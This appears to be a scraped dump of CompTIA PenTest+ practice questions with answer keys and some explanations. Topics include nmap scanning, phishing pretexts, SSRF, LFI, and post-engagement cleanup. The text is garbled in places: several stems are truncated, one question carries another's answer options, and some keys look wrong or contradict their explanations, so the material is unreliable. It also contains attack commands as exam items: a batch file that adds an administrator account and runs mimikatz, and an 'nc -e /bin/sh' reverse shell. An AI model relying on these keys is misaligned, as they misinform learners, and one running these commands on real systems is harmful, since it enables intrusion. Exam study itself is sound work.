- A. nmap -sn --exclude 10.1.1.15 10.1.1.0/24 -oA target.txt
- B. nmap -iR 10.1.1.0/24 --out-xml | grep Nmap | cut -d '"' -f 5 > live-hosts.txt
- C. nmap -Pn -oL target.txt -A target_text_Service
- D. nmap -sPn -iL target.txt -A target.txt

Answer: A

Explanation:

According to the Official CompTIA PenTest+ Self-Paced Study Guide¹, the correct answer is A. `nmap -sn -n --exclude 10.1.1.15 10.1.1.0/24 -oA target.txt`.

This command will perform a ping scan (-sn) without reverse DNS resolution (-n) on the IP range 10.1.1.0/24, excluding the attack machine's IP address (10.1.1.15) from the scan (-exclude). It will also output the results in three formats (normal, grepable and XML) with a base name of target.txt (-oA).

NEW QUESTION 114

During the assessment of a client's cloud and on-premises environments, a penetration tester was able to gain ownership of a storage object within the cloud environment using the..... premises credentials. Which of the following best describes why the tester was able to gain access?

- A. Federation misconfiguration of the container
- B. Key mismanagement between the environments
- C. IaaS failure at the provider
- D. Container listed in the public domain

Answer: A

Explanation:

The best explanation for why the tester was able to gain access to the storage object within the cloud environment using the on-premises credentials is federation misconfiguration of the container. Federation is a process that allows users to access multiple systems or services with a single set of credentials, by using a trusted third-party service that authenticates and authorizes the users. Federation can enable seamless integration between cloud and on-premises environments, but it can also introduce security risks if not configured properly. Federation misconfiguration of the container can allow an attacker to access the storage object with the on-premises credentials, if the container trusts the on-premises identity provider without verifying its identity or scope. The other options are not valid explanations for why the tester was able to gain access to the storage object within the cloud environment using the on-premises credentials. Key mismanagement between the environments is not relevant to this issue, as it refers to a different scenario involving encryption keys or access keys that are used to protect or access data or resources in cloud or on-premises environments. IaaS failure at the provider is not relevant to this issue, as it refers to a different scenario involving infrastructure as a service (IaaS), which is a cloud service model that provides virtualized computing resources over the internet. Container listed in the public domain is not relevant to this issue, as it refers to a different scenario involving container visibility or accessibility from public networks or users.

NEW QUESTION 118

A penetration tester ran the following commands on a Windows server:

```
schtasks
echo net user svaccount password /add >> batchjob3.bat
echo net localgroup Administrators svaccount /add >> batchjob3.bat
net user svaccount
runas /user:svaccount mimikatz
```

Which of the following should the tester do AFTER delivering the final report?

- A. Delete the scheduled batch job.
- B. Close the reverse shell connection.
- C. Downgrade the svaccount permissions.
- D. Remove the tester-created credentials.

Answer: D

NEW QUESTION 123

Which of the following BEST describe the OWASP Top 10? (Choose two.)

- A. The most critical risks of web applications
- B. A list of all the risks of web applications
- C. The risks defined in order of importance
- D. A web-application security standard
- E. A risk-governance and compliance framework
- F. A checklist of Apache vulnerabilities

Answer: AC

Explanation:

These two options best describe the OWASP Top 10, which stands for Open Web Application Security Project Top 10 and is a list of the most critical web application security risks based on data from various sources and experts. The list is updated periodically to reflect changes in technology and threat landscape. The list also ranks the risks in order of importance based on their prevalence, impact, and ease of exploitation or remediation. The other options are not accurate descriptions of the OWASP Top 10. The list does not cover all the risks of web applications, but rather focuses on the most common and severe ones. The list is not a web application security standard, but rather a guideline or reference for developers, testers, and security professionals. The list is not a risk-governance and compliance framework, but rather a resource or tool for identifying and mitigating web application vulnerabilities. The list is not a checklist of Apache vulnerabilities, but rather a general list of web application risks that apply to any web server or platform.

NEW QUESTION 124

A penetration tester is attempting to discover live hosts on a subnet quickly. Which of the following commands will perform a ping scan?

- A. nmap -sn 10.12.1.0/24
- B. nmap -sV -A 10.12.1.0/24
- C. nmap -Pn 10.12.1.0/24
- D. nmap -sT -p- 10.12.1.0/24

Answer: A

NEW QUESTION 129

A penetration tester recently performed a social-engineering attack in which the tester found an employee of the target company at a local coffee shop and over time built a relationship with the employee. On the employee's birthday, the tester gave the employee an external hard drive as a gift. Which of the following social-engineering attacks was the tester utilizing?

- A. Phishing
- B. Tailgating
- C. Baiting
- D. Shoulder surfing

Answer: C

NEW QUESTION 134

A penetration tester is conducting an engagement against an internet-facing web application and planning a phishing campaign. Which of the following is the BEST passive method of obtaining the technical contacts for the website?

- A. WHOIS domain lookup
- B. Job listing and recruitment ads
- C. SSL certificate information
- D. Public data breach dumps

Answer: A

Explanation:

The BEST passive method of obtaining the technical contacts for the website would be a WHOIS domain lookup. WHOIS is a protocol that provides information about registered domain names, such as the registration date, registrant's name and contact information, and the name servers assigned to the domain. By performing a WHOIS lookup, the penetration tester can obtain the contact information of the website's technical staff, which can be used to craft a convincing phishing email.

NEW QUESTION 136

A penetration tester is testing a web application that is hosted by a public cloud provider. The tester is able to query the provider's metadata and get the credentials used by the instance to authenticate itself. Which of the following vulnerabilities has the tester exploited?

- A. Cross-site request forgery
- B. Server-side request forgery
- C. Remote file inclusion
- D. Local file inclusion

Answer: B

Explanation:

Server-side request forgery (SSRF) is the vulnerability that the tester exploited by querying the provider's metadata and getting the credentials used by the instance to authenticate itself. SSRF is a type of attack that abuses a web application to make requests to other resources or services on behalf of the web server. This can allow an attacker to access internal or external resources that are otherwise inaccessible or protected. In this case, the tester was able to access the metadata service of the cloud provider, which contains sensitive information about the instance, such as credentials, IP addresses, roles, etc.

NEW QUESTION 139

Which of the following describes the reason why a penetration tester would run the command `sdelete mimikatz. *` on a Windows server that the tester compromised?

- A. To remove hash-cracking registry entries
- B. To remove the tester-created Mimikatz account
- C. To remove tools from the server
- D. To remove a reverse shell from the system

Answer: B

NEW QUESTION 140

A company that requires minimal disruption to its daily activities needs a penetration tester to perform information gathering around the company's web presence. Which of the following would the tester find MOST helpful in the initial information-gathering steps? (Choose two.)

- A. IP addresses and subdomains
- B. Zone transfers
- C. DNS forward and reverse lookups
- D. Internet search engines
- E. Externally facing open ports
- F. Shodan results

Answer: AD

Explanation:

* A. IP addresses and subdomains. This is correct. IP addresses and subdomains are useful information for a penetration tester to identify the scope and range of the company's web presence. IP addresses can reveal the location, network, and service provider of the company's web servers, while subdomains can indicate the different functions and features of the company's website. A penetration tester can use tools like whois, Netcraft, or DNS lookups to find IP addresses and subdomains associated with the company's domain name.

* D. Internet search engines. This is correct. Internet search engines are powerful tools for a penetration tester to perform passive information gathering around the company's web presence. Search engines can provide a wealth of information, such as the company's profile, history, news, social media accounts, reviews, products, services, customers, partners, competitors, and more. A penetration tester can use advanced search operators and keywords to narrow down the results and find relevant information. For example, using the `site:` operator can limit the results to a specific domain or subdomain, while using the `intitle:` operator can filter the results the title of the web pages.

NEW QUESTION 141

A software company has hired a security consultant to assess the security of the company's software development practices. The consultant opts to begin reconnaissance by performing fuzzing on a software binary. Which of the following vulnerabilities is the security consultant MOST likely to identify?

- A. Weak authentication schemes
- B. Credentials stored in strings
- C. Buffer overflows
- D. Non-optimized resource management

Answer: C

Explanation:

fuzzing introduces unexpected inputs into a system and watches to see if the system has any negative reactions to the inputs that indicate security, performance, or quality gaps or issues

NEW QUESTION 142

A penetration tester is able to capture the NTLM challenge-response traffic between a client and a server. Which of the following can be done with the `pcap` to gain access to the server?

- A. Perform vertical privilege escalation.
- B. Replay the captured traffic to the server to recreate the session.
- C. Use John the Ripper to crack the password.
- D. Utilize a pass-the-hash attack.

Answer: D

NEW QUESTION 144

A penetration tester ran a ping -A command during an unknown environment test, and it returned a 128 TTL packet. Which of the following OSs would MOST likely return a packet of this type?

- A. Windows
- B. Apple
- C. Linux
- D. Android

Answer: A

Explanation:

The ping -A command sends an ICMP echo request with a specified TTL value and displays the response. The TTL value indicates how many hops the packet can traverse before being discarded. Different OSs have different default TTL values for their packets. Windows uses 128, Apple uses 64, Linux uses 64 or 255, and Android uses 64. Therefore, a packet with a TTL of 128 is most likely from a Windows OS.

NEW QUESTION 145

A penetration tester runs a scan against a server and obtains the following output: 21/tcp open ftp Microsoft ftpd

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

| 03-12-20 09:23AM 331 index.aspx

| ftp-syst:

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2012 Std 3389/tcp open ssl/ms-wbt-server

| rdp-ntlm-info:

| Target Name: WEB3

| NetBIOS_Computer_Name: WEB3

| Product_Version: 6.3.9600

|_ System_Time: 2021-01-15T11:32:06+00:00

8443/tcp open http Microsoft IIS httpd 8.5

| http-methods:

|_ Potentially risky methods: TRACE

|_ http-server-header: Microsoft-IIS/8.5

|_ http-title: IIS Windows Server

Which of the following command sequences should the penetration tester try NEXT?

- A. ftp 192.168.53.23
- B. smbclient \\\\WEB3\\IPC\$ -I 192.168.53.23 -U guest
- C. ncrack -u Administrator -P 15worst_passwords.txt -p rdp 192.168.53.23
- D. curl -X TRACE https://192.168.53.23:8443/index.aspx
- E. nmap --script vuln -sV 192.168.53.23

Answer: A

NEW QUESTION 149

A penetration tester has been hired to configure and conduct authenticated scans of all the servers on a software company's network. Which of the following accounts should the tester use to return the MOST results?

- A. Root user
- B. Local administrator
- C. Service
- D. Network administrator

Answer: C

NEW QUESTION 151

A company uses a cloud provider with shared network bandwidth to host a web application on dedicated servers. The company's contact with the cloud provider prevents any activities that would interfere with the cloud provider's other customers. When engaging with a penetration-testing company to test the application, which of the following should the company avoid?

- A. Crawling the web application's URLs looking for vulnerabilities
- B. Fingerprinting all the IP addresses of the application's servers
- C. Brute forcing the application's passwords
- D. Sending many web requests per second to test DDoS protection

Answer: D

NEW QUESTION 155

A penetration tester wants to test a list of common passwords against the SSH daemon on a network device. Which of the following tools would be BEST to use for this purpose?

- A. Hashcat
- B. Mimikatz
- C. Patator
- D. John the Ripper

Answer: C

Explanation:

<https://www.kali.org/tools/patator/>

NEW QUESTION 156

During enumeration, a red team discovered that an external web server was frequented by employees. After compromising the server, which of the following attacks would best support -----company systems?

- A. Aside-channel attack
- B. A command injection attack
- C. A watering-hole attack
- D. A cross-site scripting attack

Answer: C

Explanation:

The best attack that would support compromising company systems after compromising an external web server frequented by employees is a watering-hole attack, which is an attack that involves compromising a website that is visited by a specific group of users, such as employees of a target company, and injecting malicious code or content into the website that can infect or exploit the users' devices when they visit the website. A watering-hole attack can allow an attacker to compromise company systems by targeting their employees who frequent the external web server, and taking advantage of their trust or habit of visiting the website. A watering-hole attack can be performed by using tools such as BeEF, which is a tool that can hook web browsers and execute commands on them². The other options are not likely attacks that would support compromising company systems after compromising an external web server frequented by employees. A side-channel attack is an attack that involves exploiting physical characteristics or implementation flaws of a system or device, such as power consumption, electromagnetic radiation, timing, or sound, to extract sensitive information or bypass security mechanisms. A command injection attack is an attack that exploits a vulnerability in a system or application that allows an attacker to execute arbitrary commands on the underlying OS or shell. A cross-site scripting attack is an attack that exploits a vulnerability in a web application that allows an attacker to inject malicious scripts into web pages that are viewed by other users.

NEW QUESTION 159

A penetration tester was hired to perform a physical security assessment of an organization's office. After monitoring the environment for a few hours, the penetration tester notices that some employees go to lunch in a restaurant nearby and leave their belongings unattended on the table while getting food. Which of the following techniques would MOST likely be used to get legitimate access into the organization's building without raising too many alerts?

- A. Tailgating
- B. Dumpster diving
- C. Shoulder surfing
- D. Badge cloning

Answer: D

NEW QUESTION 162

A penetration tester has gained access to the Chief Executive Officer's (CEO's) internal, corporate email. The next objective is to gain access to the network. Which of the following methods will MOST likely work?

- A. Try to obtain the private key used for S/MIME from the CEO's account.
- B. Send an email from the CEO's account, requesting a new account.
- C. Move laterally from the mail server to the domain controller.
- D. Attempt to escalate privileges on the mail server to gain root access.

Answer: D

NEW QUESTION 163

A penetration tester has obtained root access to a Linux-based file server and would like to maintain persistence after reboot. Which of the following techniques would BEST support this objective?

- A. Create a one-shot system service to establish a reverse shell.
- B. Obtain /etc/shadow and brute force the root password.
- C. Run the `nc -e /bin/sh <...>` command.
- D. Move laterally to create a user account on LDAP

Answer: A

Explanation:

<https://hosakacorp.net/p/systemd-user.html>

Creating a one-shot system service to establish a reverse shell is a technique that would best support maintaining persistence after reboot on a Linux-based file server. A system service is a program that runs in the background and performs various tasks without user interaction. A one-shot system service is a type of service that runs only once and then exits. A reverse shell is a type of shell that connects back to an attacker-controlled machine and allows remote command execution. By creating a one-shot system service that runs a reverse shell script at boot time, the penetration tester can ensure persistent access to the file server even after reboot.

NEW QUESTION 166

A penetration tester needs to upload the results of a port scan to a centralized security tool. Which of the following commands would allow the tester to save the results in an interchangeable format?

- A. `nmap -iL results 192.168.0.10-100`
- B. `nmap 192.168.0.10-100 -O > results`
- C. `nmap -A 192.168.0.10-100 -oX results`
- D. `nmap 192.168.0.10-100 | grep "results"`

Answer: C

NEW QUESTION 168

ion tester is attempting to get more people from a target company to download and run an executable. Which of the following would be the most effective way for the tester to achieve this objective?

- A. Dropping USB flash drives around the company campus with the file on it
- B. Attaching the file in a phishing SMS that warns users to execute the file or they will be locked out of their accounts
- C. Sending a pretext email from the IT department before sending the download instructions later
- D. Saving the file in a common folder with a name that encourages people to click it

Answer: C

Explanation:

The most effective way for the tester to achieve this objective is to send a pretext email from the IT department before sending the download instructions later. A pretext email is an email that uses deception or impersonation to trick users into believing that it is from a legitimate source or authority, such as the IT department. A pretext email can be used to establish trust or rapport with the users, and then persuade them to perform an action or provide information that benefits the attacker. In this case, the tester can send a pretext email from the IT department that informs users about an important update or maintenance task that requires them to download and run an executable file later. The tester can then send another email with the download instructions and attach or link to the malicious executable file. The users may be more likely to follow these instructions if they have received a prior email from the IT department that prepared them for this action. The other options are not as effective ways for the tester to achieve this objective. Dropping USB flash drives around the company campus with the file on it may not reach many users, as they may not find or pick up the USB flash drives, or they may be suspicious of their origin or content.

NEW QUESTION 171

A penetration tester is scanning a corporate lab network for potentially vulnerable services. Which of the following Nmap commands will return vulnerable ports that might be interesting to a potential attacker?

- A. `nmap 192.168.1.1-5 -PU22-25,80`
- B. `nmap 192.168.1.1-5 -PA22-25,80`
- C. `nmap 192.168.1.1-5 -PS22-25,80`
- D. `nmap 192.168.1.1-5 -Ss22-25,80`

Answer: C

Explanation:

PS/PA/PU/PY are host discovery flags which use TCP SYN/ACK, UDP or SCTP discovery respectively. And since the ports in the options are mostly used by TCP protocols, then it's either the PS or PA flag. But since we need to know if the ports are live, sending SYN packet is a better alternative. Hence, I choose PS in this case.

The `nmap -PS22-25,80 192.168.1.1-5` command will return vulnerable ports that might be interesting to a potential attacker, as it will perform a TCP SYN scan on ports 22, 23, 24, 25, and 80 of the target hosts. A TCP SYN scan is a stealthy technique that sends a SYN packet to each port and waits for a response. If the response is a SYN/ACK packet, it means the port is open and listening for connections. If the response is a RST packet, it means the port is closed and not accepting connections. If there is no response, it means the port is filtered by a firewall or IDS.

NEW QUESTION 172

A penetration tester has established an on-path attack position and must now specially craft a DNS query response to be sent back to a target host. Which of the following utilities would BEST support this objective?

- A. Socat
- B. tcpdump
- C. Scapy
- D. dig

Answer: C

Explanation:

<https://thepacketgeek.com/scapy/building-network-tools/part-09/>

NEW QUESTION 175

A new security firm is onboarding its first client. The client only allowed testing over the weekend and needed the results Monday morning. However, the assessment team was not able to access the environment as expected until Monday. Which of the following should the security company have acquired BEFORE the start of the assessment?

- A. A signed statement of work
- B. The correct user accounts and associated passwords
- C. The expected time frame of the assessment
- D. The proper emergency contacts for the client

Answer: A

Explanation:

According to the CompTIA PenTest+ Study Guide, Exam PT0-0021, a statement of work (SOW) is a document that defines the scope, objectives, deliverables, and terms of a penetration testing project. It is a formal agreement between the service provider and the client that specifies what is expected from both parties, including the timeline, budget, resources, and responsibilities. A SOW is essential for any penetration testing engagement, as it helps to avoid misunderstandings, conflicts, and legal issues.

The CompTIA PenTest+ Study Guide also provides an example of a SOW template that covers the following sections:

- Project overview: A brief summary of the project's purpose, scope, objectives, and deliverables.
- Project scope: A detailed description of the target system, network, or application that will be tested, including the boundaries, exclusions, and assumptions.
- Project objectives: A clear statement of the expected outcomes and benefits of the project, such as identifying vulnerabilities, improving security posture, or complying with regulations.
- Project deliverables: A list of the tangible products or services that will be provided by the service provider to the client, such as reports, recommendations, or remediation plans.

- A. Gain access to the target host and implant malware specially crafted for this purpose.
- B. Exploit the local DNS server and add/update the zone records with a spoofed A record.
- C. Use the Scapy utility to overwrite name resolution fields in the DNS query response.
- D. Proxy HTTP connections from the target host to that of the spoofed host.

Answer: D

NEW QUESTION 195

A penetration tester utilized Nmap to scan host 64.13.134.52 and received the following results:

```
# nmap -T4 -v -oG - scanme.nmap.org
# Nmap 5.35DC18 scan initiated [time] as: nmap -T4 -A -v -cG -
scanme.nmap.org
# Ports scanned: TCP(1000;1, 3-4, 6-7, ..., 65389) UDP (0;) PROTOCOLS(0;)
Host: 64.13.134.52 (scanme.nmap.org) Status: Up
Host: 64.13.134.52 (scanme.nmap.org)
Ports:
22/open/tcp
25/closed/tcp
53/open/tcp
70/closed/tcp
80/open/tcp
113/closed/tcp
31337/closed/tcp
Ignored State: filtered (993) OS: Linux 2.6.13 - 2.6.31 Seq Index: 204 IP ID
Seq: All zeros
# Nmap done at [time] -- 1 IP address (1 host up) scanned in 21.90 seconds
```

Based on the output, which of the following services are MOST likely to be exploited? (Choose two.)

- A. Telnet
- B. HTTP
- C. SMTP
- D. DNS
- E. NTP
- F. SNMP

Answer: BD

NEW QUESTION 198

A penetration tester wrote the following script to be used in one engagement:

```
#!/usr/bin/python
import socket,sys
ports = [21,22,23,25,80,139,443,445,3306,3389]
if len(sys.argv) == 2:
    target = socket.gethostbyname(sys.argv[1])
else:
    print("Too few arguments.")
    print("Syntax: python {} <>".format(sys.argv[0]))
    sys.exit()
try:
    for port in ports:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(2)
        results = s.connect_ex((target,port))
        if result == 0:
            print("Port {} is opened".format(port))
except KeyboardInterrupt:
    print("Exiting...")
    sys.exit()
```

Which of the following actions will this script perform?

- A. Look for open ports.
- B. Listen for a reverse shell.
- C. Attempt to flood open ports.
- D. Create an encrypted tunnel.

Answer: A

Explanation:

The script will perform a port scan on the target IP address, looking for open ports on a list of common ports. A port scan is a technique that probes a network or a system for open ports, which can reveal potential vulnerabilities or services running on the host.

NEW QUESTION 203

The delivery of a penetration test within an organization requires defining specific parameters regarding the nature and types of exercises that can be conducted and when they can be conducted. Which of the following BEST identifies this concept?

- A. Statement of work
- B. Program scope
- C. Non-disclosure agreement
- D. Rules of engagement

Answer: D

Explanation:

Rules of engagement (ROE) is a document that outlines the specific guidelines and limitations of a penetration test engagement. The document is agreed upon by both the penetration testing team and the client and sets expectations for how the test will be conducted, what systems are in scope, what types of attacks are allowed, and any other parameters that need to be defined. ROE helps to ensure that the engagement is conducted safely, ethically, and with minimal disruption to the client's operations.

NEW QUESTION 206

A penetration tester wants to validate the effectiveness of a DLP product by attempting exfiltration of data using email attachments. Which of the following techniques should the tester select to accomplish this task?

- A. Steganography
- B. Metadata removal
- C. Encryption
- D. Encode64

Answer: B

Explanation:

All other answers are a form of encryption or randomizing the data.

NEW QUESTION 209

Which of the following situations would require a penetration tester to notify the emergency contact for the engagement?

- A. The team exploits a critical server within the organization.
- B. The team exfiltrates PII or credit card data from the organization.
- C. The team loses access to the network remotely.
- D. The team discovers another actor on a system on the network.

Answer: D

NEW QUESTION 210

During an assessment, a penetration tester manages to exploit an LFI vulnerability and browse the web log for a target Apache server. Which of the following steps would the penetration tester most likely try NEXT to further exploit the web server? (Choose two.)

- A. Cross-site scripting
- B. Server-side request forgery
- C. SQL injection
- D. Log poisoning
- E. Cross-site request forgery
- F. Command injection

Answer: DF

Explanation:

Local File Inclusion (LFI) is a web vulnerability that allows an attacker to include files on a server through the web browser. This can expose sensitive information or lead to remote code execution.

Some possible next steps that a penetration tester can try after exploiting an LFI vulnerability are:

- Log poisoning: This involves injecting malicious code into the web server's log files and then including them via LFI to execute the code³⁴.
- PHP wrappers: These are special streams that can be used to manipulate files or data via LFI. For example, `php://input` can be used to pass arbitrary data to an LFI script, or `php://filter` can be used to encode or decode files⁵.

NEW QUESTION 214

A penetration tester is working on a scoping document with a new client. The methodology the client uses includes the following:

- Pre-engagement interaction (scoping and ROE)
- Intelligence gathering (reconnaissance)
- Threat modeling
- Vulnerability analysis
- Exploitation and post exploitation
- Reporting

Which of the following methodologies does the client use?

- A. OWASP Web Security Testing Guide
- B. PTES technical guidelines
- C. NIST SP 800-115
- D. OSSTMM

Answer: B

NEW QUESTION 215

During an assessment, a penetration tester was able to access the organization's wireless network from outside of the building using a laptop running Aircrack-ng. Which of the following should be recommended to the client to remediate this issue?

- A. Changing to Wi-Fi equipment that supports strong encryption
- B. Using directional antennae
- C. Using WEP encryption
- D. Disabling Wi-Fi

Answer: A

Explanation:

If a penetration tester was able to access the organization's wireless network from outside of the building using Aircrack-ng, then it means that the wireless network was not secured with strong encryption or authentication methods. Aircrack-ng is a tool that can crack weak wireless encryption schemes such as WEP or WPA-PSK using various techniques such as packet capture, injection, replay, and brute force. To remediate this issue, the client should change to Wi-Fi equipment that supports strong encryption such as WPA2 or WPA3, which are more resistant to cracking attacks. Using directional antennae may reduce the signal range of the wireless network, but it would not prevent an attacker who is within range from cracking the encryption. Using WEP encryption is not a good recommendation, as WEP is known to be insecure and vulnerable to Aircrack-ng attacks. Disabling Wi-Fi may eliminate the risk of wireless attacks, but it would also eliminate the benefits of wireless connectivity for the organization.

NEW QUESTION 219

A penetration tester is explaining the MITRE ATT&CK framework to a company's chief legal counsel. Which of the following would the tester MOST likely describe as a benefit of the framework?

- A. Understanding the tactics of a security intrusion can help disrupt them.
- B. Scripts that are part of the framework can be imported directly into SIEM tools.
- C. The methodology can be used to estimate the cost of an incident better.
- D. The framework is static and ensures stability of a security program overtime.

Answer: A

NEW QUESTION 221

During a penetration tester found a web component with no authentication requirements. The web component also allows file uploads and is hosted on one of the target public web the following actions should the penetration tester perform next?

- A. Continue the assessment and mark the finding as critical.
- B. Attempting to remediate the issue temporarily.
- C. Notify the primary contact immediately.
- D. Shutting down the web server until the assessment is finished

Answer: C

Explanation:

The penetration tester should notify the primary contact immediately, as this is a serious security issue that may compromise the confidentiality, integrity, and availability of the web server and its data. A web component with no authentication requirements and file upload capabilities can allow an attacker to upload malicious files, such as web shells, backdoors, or malware, to the web server and gain remote access or execute arbitrary commands on the web server. This can lead to further attacks, such as data theft, data corruption, privilege escalation, lateral movement, or denial of service. The penetration tester should inform the primary contact of the issue and its potential impact, and provide recommendations for remediation, such as implementing authentication mechanisms, restricting file upload types and sizes, or scanning uploaded files for malware. The other options are not appropriate actions for the penetration tester at this stage. Continuing the assessment and marking the finding as critical would delay the notification and remediation of the issue, which may increase the risk of exploitation by other attackers. Attempting to remediate the issue temporarily would interfere with the normal operation of the web server and may cause unintended consequences or damage. Shutting down the web server until the assessment is finished would disrupt the availability of the web server and its services, and may violate the scope or agreement of the assessment.

NEW QUESTION 226

A penetration tester exploited a unique flaw on a recent penetration test of a bank. After the test was completed, the tester posted information about the exploit online along with the IP addresses of the exploited machines. Which of the following documents could hold the penetration tester accountable for this action?

- A. ROE
- B. SLA
- C. MSA
- D. NDA

Answer: D

NEW QUESTION 228

Which of the following would assist a penetration tester the MOST when evaluating the susceptibility of top-level executives to social engineering attacks?

- A. Scraping social media for personal details
- B. Registering domain names that are similar to the target company's
- C. Identifying technical contacts at the company
- D. Crawling the company's website for company information

Answer: A

Explanation:

Scraping social media for personal details can help a penetration tester craft personalized and convincing social engineering attacks against top-level executives, who may share sensitive or confidential information on their profiles. Registering domain names that are similar to the target company's can be used for phishing or typosquatting attacks, but not specifically against executives. Identifying technical contacts at the company can help with reconnaissance, but not with social

engineering. Crawling the company's website for company information can provide general background knowledge, but not specific details about executives.

NEW QUESTION 231

A penetration tester recently completed a review of the security of a core network device within a corporate environment. The key findings are as follows:

- The following request was intercepted going to the network device: GET /login HTTP/1.1

Host: 10.50.100.16

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept-Language: en-US,en;q=0.5

Connection: keep-alive

Authorization: Basic WU9VUilOQU1FOnNIY3JldHBhc3N3b3Jk

- Network management interfaces are available on the production network.
- An Nmap scan returned the following:

```
Port      State      Service      Version
22/tcp    open       ssh          Cisco SSH 1.25 (protocol 2.0)
80/tcp    open       http         Cisco IOS http config
|_https-title: Did not follow redirect to https://10.50.100.16
443/tcp   open       https        Cisco IOS https config
```

Which of the following would be BEST to add to the recommendations section of the final report? (Choose two.)

- A. Enforce enhanced password complexity requirements.
- B. Disable or upgrade SSH daemon.
- C. Disable HTTP/301 redirect configuration.
- D. Create an out-of-band network for management.
- E. Implement a better method for authentication.
- F. Eliminate network management and control interfaces.

Answer: DE

Explanation:

The key findings indicate that the network device is vulnerable to several attacks, such as sniffing, brute-forcing, or exploiting the SSH daemon. To prevent these attacks, the best recommendations are to create an out-of-band network for management, which means a separate network that is not accessible from the production network, and to implement a better method for authentication, such as SSH keys or certificates. The other options are not as effective or relevant.

NEW QUESTION 236

A penetration tester has gained access to part of an internal network and wants to exploit on a different network segment. Using Scapy, the tester runs the following command:

```
sendp(Ether()/dot1q(vlan=100)/dotq(vlan=50)/IP(dst="172.16.50.10")/ICMP())
```

Which of the following represents what the penetration tester is attempting to accomplish?

- A. DNS cache poisoning
- B. MAC spoofing
- C. ARP poisoning
- D. Double-tagging attack

Answer: D

Explanation:

<https://scapy.readthedocs.io/en/latest/usage.html>

NEW QUESTION 241

A penetration tester conducted a vulnerability scan against a client's critical servers and found the following:

Host name	IP	OS	Security updates
addc01.local	10.1.1.20	Windows Server 2012	KB4581001, KB4585587, KB4586007
addc02.local	10.1.1.21	Windows Server 2012	KB4586007
dnsint.local	10.1.1.22	Windows Server 2012	KB4581001, KB4585587, KB4586007, KB4586010
wwwint.local	10.1.1.23	Windows Server 2012	KB4581001

Which of the following would be a recommendation for remediation?

- A. Deploy a user training program
- B. Implement a patch management plan
- C. Utilize the secure software development life cycle
- D. Configure access controls on each of the servers

Answer: B

NEW QUESTION 243

A penetration tester has prepared the following phishing email for an upcoming penetration test:

Coworkers,

A security incident recently occurred on company property.

All employees are required to abide by company policies at all times. To ensure maximum compliance, all employees are required to sign the Security Policy Acceptance form (on-line here) before the end of this month.

Please reach out if you have any questions or concerns.

Human Resources

Which of the following is the penetration tester using MOST to influence phishing targets to click on the link?

- A. Familiarity and likeness
- B. Authority and urgency
- C. Scarcity and fear
- D. Social proof and greed

Answer: B

NEW QUESTION 248

A penetration tester is reviewing the following SOW prior to engaging with a client:

"Network diagrams, logical and physical asset inventory, and employees' names are to be treated as client confidential. Upon completion of the engagement, the penetration tester will submit findings to the client's Chief Information Security Officer (CISO) via encrypted protocols and subsequently dispose of all findings by erasing them in a secure manner."

Based on the information in the SOW, which of the following behaviors would be considered unethical? (Choose two.)

- A. Utilizing proprietary penetration-testing tools that are not available to the public or to the client for auditing and inspection
- B. Utilizing public-key cryptography to ensure findings are delivered to the CISO upon completion of the engagement
- C. Failing to share with the client critical vulnerabilities that exist within the client architecture to appease the client's senior leadership team
- D. Seeking help with the engagement in underground hacker forums by sharing the client's public IP address
- E. Using a software-based erase tool to wipe the client's findings from the penetration tester's laptop
- F. Retaining the SOW within the penetration tester's company for future use so the sales team can plan future engagements

Answer: CD

Explanation:

These two behaviors would be considered unethical because they violate the principles of honesty, integrity, and confidentiality that penetration testers should adhere to. Failing to share critical vulnerabilities with the client would be dishonest and unprofessional, as it would compromise the quality and value of the assessment and potentially expose the client to greater risks. Seeking help in underground hacker forums by sharing the client's public IP address would be a breach of confidentiality and trust, as it would expose the client's identity and information to malicious actors who may exploit them.

NEW QUESTION 251

A security analyst needs to perform a scan for SMB port 445 over a /16 network. Which of the following commands would be the BEST option when stealth is not a concern and the task is time sensitive?

- A. Nmap -s 445 -Pn -T5 172.21.0.0/16
- B. Nmap -p 445 -n -T4 -open 172.21.0.0/16
- C. Nmap -sV --script=smb* 172.21.0.0/16
- D. Nmap -p 445 -max -sT 172. 21.0.0/16

Answer: B

Explanation:

Nmap is a tool that can perform network scanning and enumeration by sending packets to hosts and analyzing their responses. The command Nmap -p 445 -n -T4 -open 172.21.0.0/16 would scan for SMB port 445 over a /16 network with the following options:

- > -p 445 specifies the port number to scan.
- > -n disables DNS resolution, which can speed up the scan by avoiding unnecessary queries.
- > -T4 sets the timing template to aggressive, which increases the speed of the scan by sending packets faster and waiting less for responses.
- > -open only shows hosts that have open ports, which can reduce the output and focus on relevant results.

The other commands are not optimal for scanning SMB port 445 over a /16 network when stealth is not a concern and the task is time sensitive.

NEW QUESTION 253

A penetration tester learned that when users request password resets, help desk analysts change users' passwords to 123change. The penetration tester decides to brute force an internet-facing webmail to check which users are still using the temporary password. The tester configures the brute-force tool to test usernames found on a text file and the... Which of the following techniques is the penetration tester using?

- A. Password brute force attack
- B. SQL injection
- C. Password spraying
- D. Kerberoasting

Answer: A

Explanation:

The penetration tester is using a password brute force attack, which is a type of password guessing attack that involves trying many possible combinations of passwords against a single username or account. A password brute force attack can be effective when the password is known to be weak, simple, or predictable, such as a default or temporary password. In this case, the penetration tester knows that the help desk analysts change users' passwords to 123change when they request password resets, and decides to brute force the webmail with this password and a list of usernames. A password brute force attack can be done by using tools such as Hydra, which can perform parallelized login attacks against various protocols and services¹. The other options are not techniques that the penetration tester is using. SQL injection is a type of attack that exploits a vulnerability in a web application that allows an attacker to execute malicious SQL statements on a database server. Password spraying is a type of password guessing attack that involves trying one or a few common passwords against many usernames or accounts. Kerberoasting is a type of attack that exploits a vulnerability in the Kerberos authentication protocol that allows an attacker to request and crack service tickets for service accounts with weak passwords.

NEW QUESTION 255

A penetration tester has identified several newly released CVEs on a VoIP call manager. The scanning tool the tester used determined the possible presence of the CVEs based off the version number of the service. Which of the following methods would BEST support validation of the possible findings?

- A. Manually check the version number of the VoIP service against the CVE release
- B. Test with proof-of-concept code from an exploit database
- C. Review SIP traffic from an on-path position to look for indicators of compromise
- D. Utilize an nmap -sV scan against the service

Answer: B

Explanation:

